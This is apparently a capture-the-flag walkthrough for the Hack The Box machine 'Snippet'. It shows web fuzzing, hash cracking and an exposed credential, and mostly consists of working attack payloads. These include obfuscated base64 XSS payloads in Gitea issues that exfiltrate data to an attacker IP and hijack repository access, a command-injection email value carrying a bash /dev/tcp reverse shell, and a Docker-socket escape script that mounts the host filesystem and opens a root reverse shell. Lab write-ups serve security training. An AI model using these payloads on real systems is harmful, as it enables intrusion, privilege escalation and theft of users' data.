TL;DR

NETWORK

ENUMERATION

Scans

Targets

Gitea Exploration

Gitea is in version 1.15.8

Web Exploration

JS exploration

running the following ffuf command, we managed to retrieve the missing arguments

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -H "Content-Type: application/json" -H "Cookie: snippethtb_session=eyJpdiI6Inp6R2YrWlUrTUxGZ2l0ZXFqekhmQ3c9PSIsInZhbHVlIjoiTkhVcFo1WEVscmdmZGhLSjY4dytXSVUzanlGMEc5TTRyNG9aNjRWTmIxWTBjY0VkQ3NxbTAwcjY3TVBaNGVQZ0J3S1pnYW0zUzJYeC9kZW5UaFM4M3dqZmlFSXIzU1VET3g4RFByUEduMHRlU3NjLzRKalVXTVFrUDdkUGVhSm4iLCJtYWMiOiI3YzczNWE3MTUzYWZhNGRmYTlmZjY3Y2U5OGNkZThiNTk4MzBjZDhlNjY0ZTg5ZDM5ZWEyZmM1NTMwMDVkZThjIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Ilg0bXE3aVpNQ0dkTWMwM3FFRG5ydHc9PSIsInZhbHVlIjoibzVDNUhMZWZWT1VkTENXei9tTk4yNU8xNFdJekhWTlJZUlFpU0cxY3lrdHBjN24xUzN5UWdtb3dRSnJXdFZlbkFXWWMxY2NtN1dlcSttM0hYZWxxbjJTTlltNkNLS1FQczAyaXlJeHo1bUgvLy9teEtySVNIRXhCaTVQb1c3WFAiLCJtYWMiOiJkOGQwZThmZDExYjNhMzIwYTZlMzA1YmFjOGNjMzVlNzVjY2VjZDU1MGY2OTZhYTJkZTNkMjgyYzc0NDNhNWQwIiwidGFnIjoiIn0%3D" -H "X-XSRF-TOKEN: eyJpdiI6Ilg0bXE3aVpNQ0dkTWMwM3FFRG5ydHc9PSIsInZhbHVlIjoibzVDNUhMZWZWT1VkTENXei9tTk4yNU8xNFdJekhWTlJZUlFpU0cxY3lrdHBjN24xUzN5UWdtb3dRSnJXdFZlbkFXWWMxY2NtN1dlcSttM0hYZWxxbjJTTlltNkNLS1FQczAyaXlJeHo1bUgvLy9teEtySVNIRXhCaTVQb1c3WFAiLCJtYWMiOiJkOGQwZThmZDExYjNhMzIwYTZlMzA1YmFjOGNjMzVlNzVjY2VjZDU1MGY2OTZhYTJkZTNkMjgyYzc0NDNhNWQwIiwidGFnIjoiIn0=" -X POST -u http://snippet.htb/management/dump -d '{"FUZZ": "value"}' -mc all -fr "Missing arguments" -c -v

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -H "Content-Type: application/json" -H "Cookie: snippethtb_session=eyJpdiI6Inp6R2YrWlUrTUxGZ2l0ZXFqekhmQ3c9PSIsInZhbHVlIjoiTkhVcFo1WEVscmdmZGhLSjY4dytXSVUzanlGMEc5TTRyNG9aNjRWTmIxWTBjY0VkQ3NxbTAwcjY3TVBaNGVQZ0J3S1pnYW0zUzJYeC9kZW5UaFM4M3dqZmlFSXIzU1VET3g4RFByUEduMHRlU3NjLzRKalVXTVFrUDdkUGVhSm4iLCJtYWMiOiI3YzczNWE3MTUzYWZhNGRmYTlmZjY3Y2U5OGNkZThiNTk4MzBjZDhlNjY0ZTg5ZDM5ZWEyZmM1NTMwMDVkZThjIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Ilg0bXE3aVpNQ0dkTWMwM3FFRG5ydHc9PSIsInZhbHVlIjoibzVDNUhMZWZWT1VkTENXei9tTk4yNU8xNFdJekhWTlJZUlFpU0cxY3lrdHBjN24xUzN5UWdtb3dRSnJXdFZlbkFXWWMxY2NtN1dlcSttM0hYZWxxbjJTTlltNkNLS1FQczAyaXlJeHo1bUgvLy9teEtySVNIRXhCaTVQb1c3WFAiLCJtYWMiOiJkOGQwZThmZDExYjNhMzIwYTZlMzA1YmFjOGNjMzVlNzVjY2VjZDU1MGY2OTZhYTJkZTNkMjgyYzc0NDNhNWQwIiwidGFnIjoiIn0%3D" -H "X-XSRF-TOKEN: eyJpdiI6Ilg0bXE3aVpNQ0dkTWMwM3FFRG5ydHc9PSIsInZhbHVlIjoibzVDNUhMZWZWT1VkTENXei9tTk4yNU8xNFdJekhWTlJZUlFpU0cxY3lrdHBjN24xUzN5UWdtb3dRSnJXdFZlbkFXWWMxY2NtN1dlcSttM0hYZWxxbjJTTlltNkNLS1FQczAyaXlJeHo1bUgvLy9teEtySVNIRXhCaTVQb1c3WFAiLCJtYWMiOiJkOGQwZThmZDExYjNhMzIwYTZlMzA1YmFjOGNjMzVlNzVjY2VjZDU1MGY2OTZhYTJkZTNkMjgyYzc0NDNhNWQwIiwidGFnIjoiIn0=" -X POST -u http://snippet.htb/management/dump -d '{"download": "FUZZ"}' -mc all -fr "Missing arguments" -c -v -fs 42

We have found some users password hashes

Let’s create a file of users

We can also retrieve user charlie information

/opt/hashcat -m 1400 30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82 /opt/rockyou/rockyou.txt


/opt/hashcat -m 1400 7f13a99efb779ebbe57cbca71dfac6334dd7e3e6345a353d74912e9843f918b6 /opt/rockyou/rockyou.txt

Finding Jean credentials

Idor vulnerability in snippets

Gitea API confirms that the auth uses base64 of user:password, which then give us

We now have jean credentials

jean:EHmfar1Y7ppA9O5TAIXnYnJpA

Using those credentials we can access the Gitea account of Jean (we also have access to Roundcube)

 Gitea Issues

Looking into the code, we can see that function inject.js does load the issues

Because our plugin is guaranteed to be currently being used by all users… LEt’s create an issue which will grab information from Charlie account then send it to our server

  1. Let list the repositories on Charlie account (and sen the list to our local server)
fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(r => r.text()).then(data => fetch('http://10.10.16.4/'+btoa(data)))

ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3VzZXJzL2NoYXJsaWUvcmVwb3MnKS50aGVuKHIgPT4gci50ZXh0KCkpLnRoZW4oZGF0YSA9PiBmZXRjaCgnaHR0cDovLzEwLjEwLjE2LjQvJytidG9hKGRhdGEpKSk=

a<a><img SRC="x" onerror=eval.call`${"eval\x28atob`ZmV0Y2goJ2h0dHA6Ly9kZXYuc25pcHBldC5odGIvYXBpL3YxL3VzZXJzL2NoYXJsaWUvcmVwb3MnKS50aGVuKHIgPT4gci50ZXh0KCkpLnRoZW4oZGF0YSA9PiBmZXRjaCgnaHR0cDovLzEwLjEwLjE2LjQvJytidG9hKGRhdGEpKSk=`\x29"}`>

Looking into the json file, we can see Charlie repositories especially one call backups

  1. With the following code below we can add ourselves to the repository collaborators

var u='http://dev.snippet.htb/charlie/backups/settings/collaboration';fetch(u).then(r => document.querySelector('meta[name=_csrf]').content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'application/x-www-form-urlencoded;'}, body:'collaborator=jean&_csrf='+t}).then(d => fetch('http://10.10.16.4/ok')))


# Payload converted to base64

dmFyIHU9J2h0dHA6Ly9kZXYuc25pcHBldC5odGIvY2hhcmxpZS9iYWNrdXBzL3NldHRpbmdzL2NvbGxhYm9yYXRpb24nO2ZldGNoKHUpLnRoZW4ociA9PiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdtZXRhW25hbWU9X2NzcmZdJykuY29udGVudCkudGhlbih0ID0+IGZldGNoKHUse21ldGhvZDonUE9TVCcsaGVhZGVyczogeydDb250ZW50LVR5cGUnOidhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7J30sIGJvZHk6J2NvbGxhYm9yYXRvcj1qZWFuJl9jc3JmPScrdH0pLnRoZW4oZCA9PiBmZXRjaCgnaHR0cDovLzEwLjEwLjE2LjQvb2snKSkp


// The final payload 

a<a><img SRC="x" onerror=eval.call`${"eval\x28atob`dmFyIHU9J2h0dHA6Ly9kZXYuc25pcHBldC5odGIvY2hhcmxpZS9iYWNrdXBzL3NldHRpbmdzL2NvbGxhYm9yYXRpb24nO2ZldGNoKHUpLnRoZW4ociA9PiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdtZXRhW25hbWU9X2NzcmZdJykuY29udGVudCkudGhlbih0ID0+IGZldGNoKHUse21ldGhvZDonUE9TVCcsaGVhZGVyczogeydDb250ZW50LVR5cGUnOidhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7J30sIGJvZHk6J2NvbGxhYm9yYXRvcj1qZWFuJl9jc3JmPScrdH0pLnRoZW4oZCA9PiBmZXRjaCgnaHR0cDovLzEwLjEwLjE2LjQvb2snKSkp`\x29"}`>

FOOTHOLD

SSH as Charlie

SSH as Jean

We found Jean password earlier therefore we can use to go from Charlie to Jean

PRIV ESCALATION

Command Injection

ssh [email protected] -i charlie_id_rsa -L 3306:127.0.0.1:3306

Giving our user “gia” manager permissions, we have now access to a new button in the the snippet interface

update webapp.users set user_type="Manager" where email like "[email protected]";

Looking into the request for this action we can notice that only the parameter “cs” is being check for the validation process

We can see that code responsible for this functionality is vulnerable to command injection. Because there is no checks for the email apart of the @ we can actually try to pass something like “whatever@domain” where the domain would be replaced by command which then be the content of the variable $domain which is then being used in the shell_exec (without prior filtering).

The only real blocker to our attack is the check of $given against $actual to bypass that part we only need to ensure that the email value in the database equal the email value that we have in the request.

Let’s inject our payload against the use Kaleigh

UPDATE webapp.users SET email='Kaleigh@shell|| bash -c "bash -i >& /dev/tcp/10.10.16.4/1234 0>&1" &' where name like 'Kaleigh%';

We can confirm that our value has been recorded

select * from webapp.users where email like 'Kaleigh%' \G;

Now in the Snippet interface, while using the activate button on Kaleigh

we get a reverse shell on the server as user application

Docker escape

Looking into the server, we notice that we are in a Docker environment

Using the following script, a modified version of https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25

#!/bin/bash

# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell

cmd="[\"/bin/sh\",\"-c\",\"chroot /mnt && sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.16.4/1235 0<&1'\\\"\"]"

# create the container and execute command, bind the root filesystem to it, name the container pwn_root and execute as detached (-d)
curl --unix-socket /app/docker.sock -d "{\"Image\":\"laravel-app_main\",\"cmd\":$cmd,\"Binds\":[\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=pwn_root

# start the container
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/pwn_root/start"

Thanks to these steps we get a reverse shell as root